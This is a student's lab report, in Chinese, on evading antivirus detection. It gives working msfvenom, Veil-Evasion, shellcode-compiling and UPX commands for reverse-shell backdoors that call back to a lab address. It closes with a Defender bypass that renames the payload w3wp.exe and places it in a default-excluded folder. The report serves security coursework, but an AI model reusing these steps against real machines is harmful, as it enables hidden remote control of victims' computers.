20222314 2024-2025-1 《网络与系统攻防技术》 实验三实验报告

网络与系统攻防实验报告

实验时间:2024-10-25 ~ 2024-10-31
实验人员:20222314陈振烨
实验地点:地下机房
指导教师:王志强

本周学习内容

学习了免杀的相关原理,掌握了msf的编码免杀基本操作,成功下载了veil加壳器并进行加壳免杀

实践内容

(1)正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧
	正确使用msf编码器,使用msfvenom生成如jar之类的其他文件
	veil,加壳工具
	使用C + shellcode编程
(2)通过组合应用各种技术实现恶意代码免杀
	如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。
(3)用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

问题回答

(1)杀软是如何检测出恶意代码的?

(1)基于特征码进行检测:
	杀毒软件的病毒库记录了一些恶意软件的特征码,一段特征码就是一段或多段数据,并将这些唯一的特征码建立成库,形成比对,这样的方式往往是精准的,但其却是相交滞后的。

(2)利用启发式恶意软件检测:
	将一个软件与恶意软件的行为、代码等作比对,如果发现相似度达到一定程度,即判定这个程序为恶意代码,一些典型行为有如连接恶意网站、开放端口、修改系统文件、签名、结构、厂商等。
	
	缺点:片面特征去推断,缺乏精准判定依据,存在一个概率问题;
		 实时监控系统行为,开销较多;没有基于特征码的精确度高。
	优点:比较通用,没有滞后问题;可以0-day恶意软件。

(3)基于行为的恶意软件检测:
	对运行的所有进程进行实时监控,如果有敏感行为会被认为是恶意程序,是一种动态的监测与捕捉,一般也是针对特征扫描的而言的,指通用的、多特征的、非精确的扫描,相当于加入了行为监控的启发式。
	该方法和启发式有些重叠,是加入行为的启发式检测。

(2)免杀是做什么?

一般对恶意软件做处理,让它不被杀毒软件(AV)所检测到。

(3)免杀的基本方法有哪些?

(1)子
	改变特征码
		如果手里只有EXE
			加壳:压缩壳 加密壳(动态生成原来的文件)杀软可以检测出常用的壳了hhh Hyperion(加密壳)
	有shellcode(像Meterpreter)
		用encode进行编码(exp2 中meterpreter生成的那个文件)改样子,如异或啥的 其指令 -e
			基于payload重新编译生成可执行文件
			(shellcode是用C语言写的)C语言调用shellcode数组
	有源代码
		用其他语言进行重新再编译(veil-evasion)
			脚本语言,一句一句执行,
(2)改变行为
	通讯方式
		反弹式连接
		采用隧道技术
		加密通讯方式
	
		基于内存操作(往硬盘读写文件的时候,杀软会进行工作)
			meterpreter就是如此工作的,其生成文件的内存很小,其在内存上运行
		减少对系统的修改
		加入混淆作用的正常功能代码

实验过程

(1)环境准备

免杀测试平台:

Virustotal:https://www.virustotal.com/gui/home/upload
Virscan:https://www.virscan.org/

主机与虚拟机:windows11以及kali-linux

(2)正确使用msf编码器,使用msfvenom生成如jar之类的其他文件

  1. 使用msf编码器对后门程序进行一次到多次的编码,并进行检测。
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.1.114 LPORT=2314 -f exe > czy_bianma_1.exe

一次编码使用命令:-p表示payloads,-e选择编码器,-b是payload中需要去除的字符,该命令中为了使’\x00’不出现在shellcode中,因为shellcode以’\x00’为结束符。

如图所示,单次编码的效果就是依托

2. 用msfvenom生成jar文件
msfvenom -p java/shell_reverse_tcp LHOST=192.168.1.114 LPORT=2314 -f jar > jar_20222314.jar

(3)下载veil并且尝试加壳免杀

听说好多同学都在这一步遇到了问题,所以下载veil这一步我决定详细地写一下
首先进入管理员模式,然后依次执行如下命令

sudo su
dpkg --add-architecture i386
apt-get update
apt-get install wine32
apt-get install veil-evasion
#随后,在终端中输入veil,安装相关的模块(选y就好)
#中间会弹出很多可视化界面,是帮助你安装相关依赖的,全都安,不需要刻意改路径

安装到ruby1.8.7的时候全勾了吧,感觉有用

一次成功

利用加壳工具产生后门软件

use 1
list
use 7   //c/meterpreter/rev_tcp.py
set LHOST 192.168.1.114
set LPORT 2314
generate

我set的name是czy_veil_1,接下来看看免杀效果

还行,少了11个

(4)使用C + shellcode编程

使用msfvenom 得到shellcode

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.114  LPORT=2314 -f c

编译成可执行文件,i686-w64-mingw32-g++ czy_shellcode_1.c -o czy_shellcode_1.exe

更少了

目前排名:shellcode>veil加壳>单次编码

(5)通过组合应用各种技术实现恶意代码免杀

根据我丰富的经验,我决定选择python+rev_tcp+upx程序加壳

所利用的程序1:shellcode进行upx加壳后的程序

所利用的程序二:veil生成的python的tcp反弹shell脚本

veil
use evasion
list
use 28    //use python/shellcode_inject/rev_tcp.py
set LHOST 192.168.1.114
set LPORT 2314
options
generate

免杀率都挺高,那么接下来准备接下我们热血沸腾的组合技吧()

将加壳过的可执行文件czy_shellcode_upx.exe后门传送到Windows主机上

  • 在Windows上监听2314端口等待接收可执行文件czy_shellcode_upx.exe
  • ncat -lv 2314 >czy_shellcode_upx.exe

在Kali上将生成的czy_shellcode_upx.exe传送给Windows

  • nc 192.168.1.118 2314 < czy_shellcode_upx.exe
    然后被杀软发现了,寄

随后是python的,但是运行时也被发现了
难道就没有办法了么?
欸,我有一计

牢烨の最终幻想

木马如何免杀?
木马绕过免杀本质上还是更改他的特征码,那么总结一下可以有
编码
加壳免杀
二次编译
分离免杀:即将ShellCode和加载器分离
目前msfvenom的encoder特征基本都进入了杀软的漏洞库,很难实现单一encoder编码而绕过杀软,所以对shellcode进行进一步修改编译成了msf免杀的主流。互联网上有很多借助于C、C#、python等语言对shellcode进行二次编码从而达到免杀的效果

备注:到这里已经失败了N次了,以上方法均尝试,但是都不行,微软自带的杀毒(也就是Miscrosoft Defender)大强大了,拼尽全力也无法战胜

但是假设,有那么一种情况下,我们绕过了这一层检测呢?
经过查询官方文档,我终于找到了
翻找 Windows 官方对 Windows Defender 的介绍,发现有这样一个目录:Configure Microsoft Defender Antivirus exclusions on Windows Server(在 Windows server 中配置defender排除项)
https://docs.microsoft.com/en-us/microsoft-365/security/defender-endpoint/configure-server-exclusions-microsoft-defender-antivirus?view=o365-worldwide#list-of-automatic-exclusions
简而言之就是在 Windows Server2016 和 2019 中,Windows Defender 默认存在一些排除项,在实时检测过程中会忽略这些排除项,但是主动扫描的时候不会排除。这就给 Bypass Windows Defender 提供了一个新思路。

通篇寻找可用的路径,最终发现几个 exe 路径:

路径 用途
%systemroot%\System32\dfsr.exe 文件复制服务
%systemroot%\System32\dfsrs.exe 文件复制服务
%systemroot%\System32\Vmms.exe Hyper-V 虚拟机管理
%systemroot%\System32\Vmwp.exe Hyper-V 虚拟机管理
%systemroot%\System32\ntfrs.exe AD DS 相关支持
%systemroot%\System32\lsass.exe AD DS 相关支持
%systemroot%\System32\dns.exe DNS 服务
%SystemRoot%\system32\inetsrv\w3wp.exe WEB服务
%SystemRoot%\SysWOW64\inetsrv\w3wp.exe WEB服务
%SystemDrive%\PHP5433\php-cgi.exe php-cgi 服务

生成的后门文件,改名为w3wp.exe后传入windows的|%SystemRoot%\SysWOW64\inetsrv\文件夹中,到这一步,停止接收后完全没报毒,应该稳一半了

成功了!!!

实验感想

​ 最有难度的一集
​ 从一刚开始的下载工具,到最后的尝试免杀到实现免杀,可以说是我对windows系统安全入门的全过程,再这之前我对系统安全的认知还停留在程序的层面上,现在来看我的想法不过是井底之蛙,且不说windows11的defender就已经如此强悍,如果再多一些杀毒软件是真不知道该怎么办了,目前为止成功的有单杀三大软件,以及勉强bypass win11.总体来说,收获主要在于对msf原理的理解,不再是一个纯粹的脚本小子,而是开始从攻防双方的角度去思考攻击者是如何构思payload的,也明白了防御者是如何根据特征去鉴别攻击行为的,是我大学以来收获最丰富的一次实验,酣畅淋漓的一场bypass

posted @ 2024-10-31 14:18  SKSF  阅读(12)  评论(0编辑  收藏  举报